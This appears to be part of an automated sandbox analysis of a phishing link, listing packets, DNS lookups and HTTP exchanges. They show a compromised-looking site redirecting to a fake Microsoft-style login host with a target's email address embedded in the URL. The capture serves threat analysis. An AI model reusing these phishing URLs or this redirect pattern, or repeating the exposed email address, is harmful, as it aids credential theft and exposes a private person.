Jan 22, 2025 07:25:16.083857059 CET	443	49781	173.46.80.217	192.168.2.4
Jan 22, 2025 07:25:16.084141016 CET	49781	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:25:17.314965963 CET	49781	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:25:17.314986944 CET	443	49781	173.46.80.217	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2025 07:23:57.139714003 CET	53	62059	1.1.1.1	192.168.2.4
Jan 22, 2025 07:23:58.149667978 CET	53	53475	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:00.814748049 CET	54632	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:00.814915895 CET	63068	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:00.821787119 CET	53	54632	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:00.822230101 CET	53	63068	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:02.772998095 CET	63782	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:02.773268938 CET	54864	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:03.058932066 CET	53	54864	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:03.103404045 CET	53	63782	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:03.933063984 CET	62529	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:03.933572054 CET	60606	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:03.946121931 CET	53	62529	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:03.952788115 CET	53	60606	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:04.950922012 CET	64820	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:04.951050997 CET	49904	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:04.952708960 CET	57606	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:04.952831984 CET	58400	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:04.957823038 CET	53	64820	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:04.958281040 CET	53	49904	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:04.959491968 CET	53	57606	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:04.959718943 CET	53	58400	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:06.482995987 CET	61535	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:06.483112097 CET	58178	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:06.490573883 CET	53	61535	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:06.490672112 CET	53	58178	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:06.491784096 CET	55258	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:06.492012978 CET	63235	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:06.498883963 CET	53	63235	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:06.499310970 CET	53	55258	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:08.685138941 CET	51549	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:08.685332060 CET	51745	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:08.692673922 CET	53	51549	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:08.692722082 CET	53	51745	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:11.399426937 CET	138	138	192.168.2.4	192.168.2.255
Jan 22, 2025 07:24:15.113708973 CET	53	60481	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:27.412626982 CET	54882	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:27.412825108 CET	64146	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:27.424321890 CET	53	54882	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:27.435229063 CET	53	64146	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:31.542821884 CET	62365	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:31.550610065 CET	53	62365	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:31.551798105 CET	63478	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:31.558568001 CET	53	63478	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:31.689019918 CET	53783	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:31.689019918 CET	51525	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:31.701644897 CET	53	53783	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:31.702291965 CET	53	51525	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:34.372862101 CET	53	65068	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:36.564927101 CET	53	59456	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:38.607141018 CET	59402	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:38.607467890 CET	57321	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:38.617692947 CET	53	59402	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:38.621551037 CET	53	57321	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:40.168840885 CET	56392	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:40.168968916 CET	59589	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:40.176600933 CET	53	56392	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:40.176697016 CET	53	59589	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:41.773298979 CET	53234	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:41.773435116 CET	54287	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:24:41.781248093 CET	53	53234	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:41.789393902 CET	53	54287	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:56.465882063 CET	53	50020	1.1.1.1	192.168.2.4
Jan 22, 2025 07:24:57.978338003 CET	53	54100	1.1.1.1	192.168.2.4
Jan 22, 2025 07:25:09.632877111 CET	64592	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:25:09.633084059 CET	60810	53	192.168.2.4	1.1.1.1
Jan 22, 2025 07:25:09.640616894 CET	53	64592	1.1.1.1	192.168.2.4
Jan 22, 2025 07:25:09.641316891 CET	53	60810	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 22, 2025 07:24:03.953083038 CET	192.168.2.4	1.1.1.1	c22f	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 22, 2025 07:24:00.814748049 CET	192.168.2.4	1.1.1.1	0x5b82	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:00.814915895 CET	192.168.2.4	1.1.1.1	0x6fa4	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 22, 2025 07:24:02.772998095 CET	192.168.2.4	1.1.1.1	0x875	Standard query (0)	sahadayiz.com.tr	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:02.773268938 CET	192.168.2.4	1.1.1.1	0x5d04	Standard query (0)	sahadayiz.com.tr	65	IN (0x0001)	false
Jan 22, 2025 07:24:03.933063984 CET	192.168.2.4	1.1.1.1	0xbc8d	Standard query (0)	login.loraintoolsltd.xyz	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:03.933572054 CET	192.168.2.4	1.1.1.1	0x4faa	Standard query (0)	login.loraintoolsltd.xyz	65	IN (0x0001)	false
Jan 22, 2025 07:24:04.950922012 CET	192.168.2.4	1.1.1.1	0x65f4	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:04.951050997 CET	192.168.2.4	1.1.1.1	0x9ac9	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 22, 2025 07:24:04.952708960 CET	192.168.2.4	1.1.1.1	0x7284	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:04.952831984 CET	192.168.2.4	1.1.1.1	0xa9ef	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 22, 2025 07:24:06.482995987 CET	192.168.2.4	1.1.1.1	0x3673	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:06.483112097 CET	192.168.2.4	1.1.1.1	0x9875	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 22, 2025 07:24:06.491784096 CET	192.168.2.4	1.1.1.1	0xbb6b	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:06.492012978 CET	192.168.2.4	1.1.1.1	0xb35f	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 22, 2025 07:24:08.685138941 CET	192.168.2.4	1.1.1.1	0x3a3e	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:08.685332060 CET	192.168.2.4	1.1.1.1	0xbf41	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Jan 22, 2025 07:24:27.412626982 CET	192.168.2.4	1.1.1.1	0xabd9	Standard query (0)	www.loraintoolsltd.xyz	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:27.412825108 CET	192.168.2.4	1.1.1.1	0xcc63	Standard query (0)	www.loraintoolsltd.xyz	65	IN (0x0001)	false
Jan 22, 2025 07:24:31.542821884 CET	192.168.2.4	1.1.1.1	0x2962	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:31.551798105 CET	192.168.2.4	1.1.1.1	0x5b62	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 22, 2025 07:24:31.689019918 CET	192.168.2.4	1.1.1.1	0x96da	Standard query (0)	live.loraintoolsltd.xyz	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:31.689019918 CET	192.168.2.4	1.1.1.1	0xf0df	Standard query (0)	live.loraintoolsltd.xyz	65	IN (0x0001)	false
Jan 22, 2025 07:24:38.607141018 CET	192.168.2.4	1.1.1.1	0xf487	Standard query (0)	login.loraintoolsltd.xyz	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:38.607467890 CET	192.168.2.4	1.1.1.1	0xbc48	Standard query (0)	login.loraintoolsltd.xyz	65	IN (0x0001)	false
Jan 22, 2025 07:24:40.168840885 CET	192.168.2.4	1.1.1.1	0x7732	Standard query (0)	aadcdn.msftauthimages.net	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:40.168968916 CET	192.168.2.4	1.1.1.1	0xab20	Standard query (0)	aadcdn.msftauthimages.net	65	IN (0x0001)	false
Jan 22, 2025 07:24:41.773298979 CET	192.168.2.4	1.1.1.1	0x389e	Standard query (0)	aadcdn.msftauthimages.net	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:41.773435116 CET	192.168.2.4	1.1.1.1	0x4165	Standard query (0)	aadcdn.msftauthimages.net	65	IN (0x0001)	false
Jan 22, 2025 07:25:09.632877111 CET	192.168.2.4	1.1.1.1	0x94a6	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:25:09.633084059 CET	192.168.2.4	1.1.1.1	0xc19c	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 22, 2025 07:24:00.821787119 CET	1.1.1.1	192.168.2.4	0x5b82	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:00.822230101 CET	1.1.1.1	192.168.2.4	0x6fa4	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 22, 2025 07:24:03.103404045 CET	1.1.1.1	192.168.2.4	0x875	No error (0)	sahadayiz.com.tr		217.18.85.38	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:03.946121931 CET	1.1.1.1	192.168.2.4	0xbc8d	No error (0)	login.loraintoolsltd.xyz		173.46.80.217	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:04.957823038 CET	1.1.1.1	192.168.2.4	0x65f4	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:04.957823038 CET	1.1.1.1	192.168.2.4	0x65f4	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:04.958281040 CET	1.1.1.1	192.168.2.4	0x9ac9	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 22, 2025 07:24:04.959491968 CET	1.1.1.1	192.168.2.4	0x7284	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:04.959491968 CET	1.1.1.1	192.168.2.4	0x7284	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:04.959718943 CET	1.1.1.1	192.168.2.4	0xa9ef	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 22, 2025 07:24:06.490573883 CET	1.1.1.1	192.168.2.4	0x3673	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:06.490573883 CET	1.1.1.1	192.168.2.4	0x3673	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:06.490672112 CET	1.1.1.1	192.168.2.4	0x9875	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 22, 2025 07:24:06.498883963 CET	1.1.1.1	192.168.2.4	0xb35f	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 22, 2025 07:24:06.499310970 CET	1.1.1.1	192.168.2.4	0xbb6b	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:06.499310970 CET	1.1.1.1	192.168.2.4	0xbb6b	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:08.692673922 CET	1.1.1.1	192.168.2.4	0x3a3e	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:08.692673922 CET	1.1.1.1	192.168.2.4	0x3a3e	No error (0)	nel.measure.office.net.edgesuite.net	a1894.dscb.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:08.692673922 CET	1.1.1.1	192.168.2.4	0x3a3e	No error (0)	a1894.dscb.akamai.net		2.16.168.115	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:08.692673922 CET	1.1.1.1	192.168.2.4	0x3a3e	No error (0)	a1894.dscb.akamai.net		2.16.168.113	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:08.692722082 CET	1.1.1.1	192.168.2.4	0xbf41	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:08.692722082 CET	1.1.1.1	192.168.2.4	0xbf41	No error (0)	nel.measure.office.net.edgesuite.net	a1894.dscb.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:27.424321890 CET	1.1.1.1	192.168.2.4	0xabd9	No error (0)	www.loraintoolsltd.xyz		173.46.80.217	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:29.648592949 CET	1.1.1.1	192.168.2.4	0x4714	No error (0)	firstparty-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:29.648592949 CET	1.1.1.1	192.168.2.4	0x4714	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:29.648592949 CET	1.1.1.1	192.168.2.4	0x4714	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:29.648755074 CET	1.1.1.1	192.168.2.4	0x6a4d	No error (0)	firstparty-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:30.551276922 CET	1.1.1.1	192.168.2.4	0xaab1	No error (0)	firstparty-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:30.551276922 CET	1.1.1.1	192.168.2.4	0xaab1	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:30.551276922 CET	1.1.1.1	192.168.2.4	0xaab1	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:30.551465988 CET	1.1.1.1	192.168.2.4	0x466a	No error (0)	firstparty-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:31.550610065 CET	1.1.1.1	192.168.2.4	0x2962	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:31.550610065 CET	1.1.1.1	192.168.2.4	0x2962	No error (0)	www.tm.aadcdn.msftauth.trafficmanager.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:31.550610065 CET	1.1.1.1	192.168.2.4	0x2962	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:31.550610065 CET	1.1.1.1	192.168.2.4	0x2962	No error (0)	e329293.dscd.akamaiedge.net		95.101.182.65	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:31.550610065 CET	1.1.1.1	192.168.2.4	0x2962	No error (0)	e329293.dscd.akamaiedge.net		95.101.182.98	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:31.558568001 CET	1.1.1.1	192.168.2.4	0x5b62	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:31.558568001 CET	1.1.1.1	192.168.2.4	0x5b62	No error (0)	www.tm.aadcdn.msftauth.akadns.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:31.558568001 CET	1.1.1.1	192.168.2.4	0x5b62	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:31.701644897 CET	1.1.1.1	192.168.2.4	0x96da	No error (0)	live.loraintoolsltd.xyz		173.46.80.217	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:38.617692947 CET	1.1.1.1	192.168.2.4	0xf487	No error (0)	login.loraintoolsltd.xyz		173.46.80.217	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:40.176600933 CET	1.1.1.1	192.168.2.4	0x7732	No error (0)	aadcdn.msftauthimages.net	aadcdn-msft.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:40.176600933 CET	1.1.1.1	192.168.2.4	0x7732	No error (0)	aadcdn-msft.azureedge.net	aadcdn-msft.afd.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:40.176600933 CET	1.1.1.1	192.168.2.4	0x7732	No error (0)	aadcdn-msft.afd.azureedge.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:40.176600933 CET	1.1.1.1	192.168.2.4	0x7732	No error (0)	firstparty-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:40.176600933 CET	1.1.1.1	192.168.2.4	0x7732	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:40.176600933 CET	1.1.1.1	192.168.2.4	0x7732	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:40.176697016 CET	1.1.1.1	192.168.2.4	0xab20	No error (0)	aadcdn.msftauthimages.net	aadcdn-msft.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:40.176697016 CET	1.1.1.1	192.168.2.4	0xab20	No error (0)	aadcdn-msft.azureedge.net	aadcdn-msft.afd.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:40.176697016 CET	1.1.1.1	192.168.2.4	0xab20	No error (0)	aadcdn-msft.afd.azureedge.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:40.176697016 CET	1.1.1.1	192.168.2.4	0xab20	No error (0)	firstparty-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:41.781248093 CET	1.1.1.1	192.168.2.4	0x389e	No error (0)	aadcdn.msftauthimages.net	aadcdn-msft.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:41.781248093 CET	1.1.1.1	192.168.2.4	0x389e	No error (0)	aadcdn-msft.azureedge.net	aadcdn-msft.afd.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:41.781248093 CET	1.1.1.1	192.168.2.4	0x389e	No error (0)	aadcdn-msft.afd.azureedge.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:41.781248093 CET	1.1.1.1	192.168.2.4	0x389e	No error (0)	firstparty-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:41.781248093 CET	1.1.1.1	192.168.2.4	0x389e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:41.781248093 CET	1.1.1.1	192.168.2.4	0x389e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:24:41.789393902 CET	1.1.1.1	192.168.2.4	0x4165	No error (0)	aadcdn.msftauthimages.net	aadcdn-msft.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:41.789393902 CET	1.1.1.1	192.168.2.4	0x4165	No error (0)	aadcdn-msft.azureedge.net	aadcdn-msft.afd.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:41.789393902 CET	1.1.1.1	192.168.2.4	0x4165	No error (0)	aadcdn-msft.afd.azureedge.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:24:41.789393902 CET	1.1.1.1	192.168.2.4	0x4165	No error (0)	firstparty-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:25:09.640616894 CET	1.1.1.1	192.168.2.4	0x94a6	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:25:09.640616894 CET	1.1.1.1	192.168.2.4	0x94a6	No error (0)	nel.measure.office.net.edgesuite.net	a1894.dscb.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:25:09.640616894 CET	1.1.1.1	192.168.2.4	0x94a6	No error (0)	a1894.dscb.akamai.net		88.221.110.211	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:25:09.640616894 CET	1.1.1.1	192.168.2.4	0x94a6	No error (0)	a1894.dscb.akamai.net		88.221.110.225	A (IP address)	IN (0x0001)	false
Jan 22, 2025 07:25:09.641316891 CET	1.1.1.1	192.168.2.4	0xc19c	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 07:25:09.641316891 CET	1.1.1.1	192.168.2.4	0xc19c	No error (0)	nel.measure.office.net.edgesuite.net	a1894.dscb.akamai.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

sahadayiz.com.tr

https:

cdnjs.cloudflare.com

challenges.cloudflare.com

www.loraintoolsltd.xyz

live.loraintoolsltd.xyz

identity.nel.measure.office.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	217.18.85.38	80	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2025 07:24:03.110558033 CET	509	OUT	GET /tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU= HTTP/1.1 Host: sahadayiz.com.tr Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 22, 2025 07:24:03.841540098 CET	264	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.4.33 refresh: 0;url=https://login.loraintoolsltd.xyz/FgJIoRDm#jrofe@bellpotter.com.au content-type: text/html content-length: 0 date: Wed, 22 Jan 2025 06:24:03 GMT
Jan 22, 2025 07:24:03.944550037 CET	454	OUT	GET /favicon.ico HTTP/1.1 Host: sahadayiz.com.tr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU= Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 22, 2025 07:24:04.171226978 CET	963	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Wed, 22 Jan 2025 06:24:04 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

